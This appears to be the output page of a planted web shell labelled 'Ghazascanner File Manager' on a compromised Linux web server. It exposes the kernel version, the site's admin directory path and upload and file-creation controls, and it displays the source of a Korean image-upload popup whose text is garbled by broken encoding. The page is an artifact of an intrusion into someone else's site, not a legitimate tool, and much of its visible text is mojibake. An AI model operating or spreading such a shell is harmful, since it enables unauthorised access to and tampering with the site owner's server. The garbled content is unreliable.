@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux adweb87 2.6.32-754.el6.x86_64 #1 SMP Tue Jun 19 21:26:04 UTC 2018 x86_64
Current Path :
/
home
/
sanchung
/
public_html
/
admin
/
editer
/
Path :
Upload File :
New :
File
Dir
/home/sanchung/public_html/admin/editer/popup.htm
<title>À̹ÌÁö »ðÀÔ</title> <style> body {background:buttonface} body,td,input {font:9pt ±¼¸²} </style> <script language="JScript"> var imgWidth = 300; var imgHeight = 200; var tmpImg = new Image(); var tmpCut; function img_preview(src,cut) { tmpCut = cut; document.getElementById('preview').innerHTML = "<img id=prevImg onload='img_resize(this)' onerror=this.src='images/preview.gif'>"; tmpImg.src = src; tmpImg.onload = loadImgSize; document.getElementById('prevImg').src = tmpImg.src; } function loadImgSize() { if (tmpCut==1) return; document.forms[0].imgWidth.value = tmpImg.width; document.forms[0].imgHeight.value = tmpImg.height; } function img_resize(obj) { if (obj.width*2>obj.height*3){ if (obj.width>imgWidth) obj.width = imgWidth; } else { if (obj.height>imgHeight) obj.height = imgHeight; } } //¸®ÅÏ function return_img(img){ opener.return_img(img); self.close(); } </script> <form method=post target=ifrm action="insert_img.htm" enctype="multipart/form-data"> <input type=hidden name=mode value="InsertImage"> <input type=hidden name=folder value="<?=$folder?>"> <table width=100%> <tr> <td style="font:bold 22px tahoma;padding:10 10 0 10"><b>IMAGE UPLOAD</b></td> </tr> <tr> <td> <table width=100%> <tr> <td nowrap>- ¹Ì¸®º¸±â</td><td width=100%><hr></td> </tr> </table> </td> </tr> <tr> <td align=center> <table> <tr> <td id=preview align=center style="width:304px;height:204px;background:#ffffff;border:1 solid #000000"> </td> </tr> </table> </td> </tr> <tr> <td> <table width=100%> <tr> <td nowrap>- À̹ÌÁö»ðÀÔ</td><td width=100%><hr></td> </tr> </table> </td> </tr> <tr> <td style="padding:0 10"> »ðÀÔÇÒ À̹ÌÁö ¼±Åà : <table width=100%> <tr> <td><input type=file name=mini_file style="width:100%" onchange="img_preview(this.value)"></td> </tr> </table> </td> </tr> <tr> <td> <table width=100%><tr><td nowrap>- À̹ÌÁö»çÀÌÁî</td><td width=100%><hr></td></tr></table> </td> </tr> <tr> <td style="padding:0 10"> <table width=100%> <tr> <td>°¡·Î»çÀÌÁî : <input type=text name=imgWidth size=10></td> <td>¼¼·Î»çÀÌÁî : <input type=text name=imgHeight size=10></td> </tr> </table> </td> </tr> <tr><td><hr></td></tr> <tr> <td align=center style="padding:5"> <input type=submit value="È®ÀÎ" style="width:100"> <input type=button value="Ãë¼Ò" style="width:100" onclick="window.close()"> </td> </tr> </table> </form> <iframe name=ifrm style="display:" width=100% height=0></iframe> <script> img_preview("img/preview.gif",1); </script>